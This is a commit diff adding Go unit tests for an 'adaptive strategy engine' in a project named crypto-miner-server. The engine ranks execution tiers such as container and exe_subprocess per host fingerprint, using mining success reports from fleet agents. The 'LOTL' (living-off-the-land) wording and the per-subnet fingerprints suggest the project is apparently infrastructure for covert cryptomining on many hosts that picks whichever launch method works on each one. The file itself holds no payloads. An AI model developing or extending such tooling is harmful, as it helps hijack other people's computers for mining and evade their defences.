Add fleet adaptive strategy engine for proactive LOTL tier ordering

server/internal/strategy/engine_test.go

@@ -0,0 +1,58 @@
+package strategy
+
+import (
+	"testing"
+
+	"crypto-miner-server/internal/db"
+)
+
+func TestWindowsDockerFingerprintPromotesContainer(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "192.168.1"}
+	key := fp.Key()
+
+	for i := 0; i < 4; i++ {
+		if err := database.InsertTierOutcome("agent-a", key, "exe_subprocess", false, 0, "mining"); err != nil {
+			t.Fatal(err)
+		}
+	}
+	for i := 0; i < 3; i++ {
+		if err := database.InsertTierOutcome("agent-b", key, "container", true, 1200, "mining"); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	engine := NewAdaptiveEngine(database, true)
+	strat := engine.ScoreTierOrder(fp)
+
+	if strat.TierOrder[0] != "container" {
+		t.Fatalf("container should be first on Windows+docker; got %v", strat.TierOrder)
+	}
+	if indexOf(strat.SkipTiers, "exe_subprocess") < 0 {
+		t.Fatalf("exe_subprocess should be skipped; got %v", strat.SkipTiers)
+	}
+	if len(strat.Reasoning) == 0 {
+		t.Fatal("expected reasoning trace")
+	}
+}
+
+func TestFingerprintKeyStable(t *testing.T) {
+	fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "10.0.0"}
+	if got := fp.Key(); got != "windows|1|0|0|0|0|10.0.0" {
+		t.Fatalf("key = %q", got)
+	}
+}
+
+func indexOf(order []string, tier string) int {
+	for i, t := range order {
+		if t == tier {
+			return i
+		}
+	}
+	return -1
+}